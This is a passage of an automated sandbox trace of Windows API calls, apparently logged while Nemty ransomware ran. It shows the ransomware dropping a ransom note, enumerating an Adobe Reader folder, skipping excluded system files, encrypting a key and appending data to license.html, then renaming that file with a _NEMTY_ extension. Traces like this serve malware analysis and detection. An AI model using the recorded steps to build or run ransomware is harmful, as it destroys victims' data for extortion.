CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0173.232] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0173.232] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0173.232] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.232] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0173.232] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0173.232] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.232] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63400f0 [0173.232] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0173.232] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\suo\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0173.233] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0173.233] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0173.233] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e840, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e840*=0xef8, lpOverlapped=0x0) returned 1 [0173.234] CloseHandle (hObject=0x254) returned 1 [0173.234] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0173.234] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0173.234] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94310 [0173.234] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\*.*", lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81dce140, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1ae4e8b0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1ae4e8b0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423ab0 [0173.234] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0173.234] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81dce140, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1ae4e8b0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1ae4e8b0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0173.234] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0173.234] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0173.234] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81dce140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x402, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="eula.ini", cAlternateFileName="")) returned 1 [0173.234] lstrcmpiW (lpString1="eula.ini", lpString2=".") returned 1 [0173.234] lstrcmpiW (lpString1="eula.ini", lpString2="..") returned 1 [0173.235] lstrcmpiW (lpString1="eula.ini", lpString2="...") returned 1 [0173.235] lstrcmpiW (lpString1="eula.ini", lpString2="windows") returned -1 [0173.235] lstrcmpiW (lpString1="eula.ini", lpString2="$RECYCLE.BIN") returned 1 [0173.235] lstrcmpiW (lpString1="eula.ini", lpString2="rsa") returned -1 [0173.235] lstrcmpiW (lpString1="eula.ini", lpString2="NTDETECT.COM") returned -1 [0173.235] lstrcmpiW (lpString1="eula.ini", lpString2="ntldr") returned -1 [0173.235] lstrcmpiW (lpString1="eula.ini", lpString2="MSDOS.SYS") returned -1 [0173.235] lstrcmpiW (lpString1="eula.ini", lpString2="IO.SYS") returned -1 [0173.235] lstrcmpiW (lpString1="eula.ini", lpString2="boot.ini") returned 1 [0173.235] lstrcmpiW (lpString1="eula.ini", lpString2="boot.ini") returned 1 [0173.235] lstrcmpiW (lpString1="eula.ini", lpString2="AUTOEXEC.BAT") returned 1 [0173.235] lstrcmpiW (lpString1="eula.ini", lpString2="ntuser.dat") returned -1 [0173.235] lstrcmpiW (lpString1="eula.ini", lpString2="desktop.ini") returned 1 [0173.235] lstrcmpiW (lpString1="eula.ini", lpString2="CONFIG.SYS") returned 1 [0173.235] lstrcmpiW (lpString1="eula.ini", lpString2="RECYCLER") returned -1 [0173.235] lstrcmpiW (lpString1="eula.ini", lpString2="BOOTSECT.BAK") returned 1 [0173.235] lstrcmpiW (lpString1="eula.ini", lpString2="bootmgr") returned 1 [0173.235] lstrcmpiW (lpString1="eula.ini", lpString2="programdata") returned -1 [0173.235] lstrcmpiW (lpString1="eula.ini", lpString2="appdata") returned 1 [0173.235] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.235] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0173.235] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x653e890, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eula.ini", lpUsedDefaultChar=0x0) returned 8 [0173.235] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0173.235] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0173.235] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x653e890, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eula.ini", lpUsedDefaultChar=0x0) returned 8 [0173.235] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0173.235] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.235] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.235] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0173.235] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x653e8e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eula.ini", lpUsedDefaultChar=0x0) returned 8 [0173.235] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.235] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.236] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0173.236] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x653e918, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eula.ini", lpUsedDefaultChar=0x0) returned 8 [0173.236] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.236] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0173.236] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0173.236] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81dce140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xd34f, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="license.html", cAlternateFileName="LICENS~1.HTM")) returned 1 [0173.236] lstrcmpiW (lpString1="license.html", lpString2=".") returned 1 [0173.236] lstrcmpiW (lpString1="license.html", lpString2="..") returned 1 [0173.236] lstrcmpiW (lpString1="license.html", lpString2="...") returned 1 [0173.236] lstrcmpiW (lpString1="license.html", lpString2="windows") returned -1 [0173.236] lstrcmpiW (lpString1="license.html", lpString2="$RECYCLE.BIN") returned 1 [0173.236] lstrcmpiW (lpString1="license.html", lpString2="rsa") returned -1 [0173.236] lstrcmpiW (lpString1="license.html", lpString2="NTDETECT.COM") returned -1 [0173.236] lstrcmpiW (lpString1="license.html", lpString2="ntldr") returned -1 [0173.236] lstrcmpiW (lpString1="license.html", lpString2="MSDOS.SYS") returned -1 [0173.236] lstrcmpiW (lpString1="license.html", lpString2="IO.SYS") returned 1 [0173.236] lstrcmpiW (lpString1="license.html", lpString2="boot.ini") returned 1 [0173.236] lstrcmpiW (lpString1="license.html", lpString2="boot.ini") returned 1 [0173.237] lstrcmpiW (lpString1="license.html", lpString2="AUTOEXEC.BAT") returned 1 [0173.237] lstrcmpiW (lpString1="license.html", lpString2="ntuser.dat") returned -1 [0173.237] lstrcmpiW (lpString1="license.html", lpString2="desktop.ini") returned 1 [0173.237] lstrcmpiW (lpString1="license.html", lpString2="CONFIG.SYS") returned 1 [0173.237] lstrcmpiW (lpString1="license.html", lpString2="RECYCLER") returned -1 [0173.237] lstrcmpiW (lpString1="license.html", lpString2="BOOTSECT.BAK") returned 1 [0173.237] lstrcmpiW (lpString1="license.html", lpString2="bootmgr") returned 1 [0173.237] lstrcmpiW (lpString1="license.html", lpString2="programdata") returned -1 [0173.237] lstrcmpiW (lpString1="license.html", lpString2="appdata") returned 1 [0173.237] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.237] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0173.237] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="license.html", lpUsedDefaultChar=0x0) returned 12 [0173.237] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0173.237] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0173.237] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="license.html", lpUsedDefaultChar=0x0) returned 12 [0173.237] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0173.237] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.237] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.237] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0173.237] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x653e8e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="license.html", lpUsedDefaultChar=0x0) returned 12 [0173.237] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.237] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.237] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0173.237] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x653e918, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="license.html", lpUsedDefaultChar=0x0) returned 12 [0173.237] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.237] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0173.237] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0173.237] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0173.237] Sleep (dwMilliseconds=0x5) [0173.251] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1ae9ab70, dwHighDateTime=0x1d561e8)) [0173.251] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1ae9ab70, dwHighDateTime=0x1d561e8)) [0173.252] GetLastError () returned 0xb7 [0173.252] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0173.252] GetLastError () returned 0xb7 [0173.252] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.252] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0173.252] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0173.252] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0173.252] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0173.252] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0173.252] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0173.252] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="ZTekN9k2BucDokd41mP/8eFrrP/oofWwwqH6FuKlrac/TNkMWtT+wadlheVwjvjm\r\nAmV+bmS3XVpZb4oeZ4o+3S/X8h9sSm5URQBmbEsUxZY46zxSCryoUVXhoChxwa1Q\r\nZ91/aW4iS8B75MmdyMESJcPuL58hEnlbzCDgQjTVD8n3GwN17hGr7UeOWDukteJ0\r\nHOK0WNf8j8iFP4BE6rR9jlGnmZZNRgXsqgClaYlfBMKCv1wGx+oNtbYQytRCjQ79\r\nSbFRNOcq6eBVacNEzdz6aYEBq+b6BXx1NW6jU1QcKIP2WDe+YhHVmo0SKgzE4vW9\r\n0lzE0LYtXIFo/++YXqtzTQ==\r\n", pcchString=0x653e5dc) returned 1 [0173.252] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0173.252] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0173.252] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0173.252] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0173.252] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0173.252] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0173.252] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\suo\\license.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3b0 [0173.253] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=54095) returned 1 [0173.253] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd340) returned 0x6352c48 [0173.253] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0173.253] ReadFile (in: hFile=0x3b0, lpBuffer=0x6352c48, nNumberOfBytesToRead=0xd340, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0xd340, lpOverlapped=0x0) returned 1 [0173.260] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0173.260] WriteFile (in: hFile=0x3b0, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0xd340, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0xd340, lpOverlapped=0x0) returned 1 [0173.261] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0173.261] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=54095, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xd34f [0173.261] WriteFile (in: hFile=0x3b0, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0173.261] CloseHandle (hObject=0x3b0) returned 1 [0173.261] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0173.261] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0173.261] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0173.261] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0173.261] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0173.261] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0173.261] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0173.261] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0173.261] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0173.261] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0173.261] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\suo\\license.html"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\license.html._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\suo\\license.html._nemty_kgobjgd_")) returned 1 [0173.262] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0173.262] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0173.262] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0173.262] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0173.262] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0173.262] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0173.262] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.262] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0173.262] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ae4e8b0, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x1ae4e8b0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1ae4e8b0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0173.262] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0173.262] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0173.262] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0173.262] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0173.262] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0173.262] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0173.262] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0173.262] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0173.262] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0173.262] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0173.262] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0173.262] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0173.262] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0173.262] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0173.262] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0173.262] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0173.262] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0173.262] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0173.262] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0173.262] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0173.262] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0173.262] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0173.262] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0173.262] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.262] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 